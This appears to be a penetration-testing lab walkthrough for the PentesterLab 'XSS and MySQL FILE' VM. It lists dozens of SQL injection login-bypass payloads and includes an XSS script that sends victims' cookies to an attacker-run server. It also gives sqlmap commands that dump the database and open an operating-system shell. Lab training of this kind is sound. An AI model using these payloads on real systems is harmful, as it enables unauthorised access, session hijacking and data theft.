OSCP Security Technology - SQL Injection(SQLi)
Installing XSS & MySQL FILE
https://www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/
Exploit this VM
Find the IP address(192.168.2.41) of XSS_MySQL_File virtual machine.
netdiscover
Browse this PentesterLab vulnerable blog through Firefox.
Click button Admin.
Refer to SQL Injection Authentication Bypass Cheat Sheet:
https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
Try to login bypass one by one.
Another method.
Get the cookie.
php -S 192.168.2.26:80
Submit a new query.
<script>location.href='http://192.168.2.26/index.php?test='+document.cookie;</script>
Then we can find the PHPSESSIONID on the backend.
Modify the value of cookie to the latest one.
Then we can visit admin portal without user name and password.
Modify the url to try to find more vulnerabilites.
GET parameter 'id' is vulnerable which is jinectable.
sqlmap -u "http://192.168.2.41/admin/edit.php?id=1" --cookie=PHPSESSID=rp2a6klerscqkpedns1s4rnbo1
Dump this website and crack password 'P4ssw0rd' for user 'admin'.
sqlmap -u "http://192.168.2.41/admin/edit.php?id=1" --cookie=PHPSESSID=rp2a6klerscqkpedns1s4rnbo1 --dump
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
sqlmap -u "http://192.168.2.41/admin/edit.php?id=1" --cookie=PHPSESSID=rp2a6klerscqkpedns1s4rnbo1 --os-shell
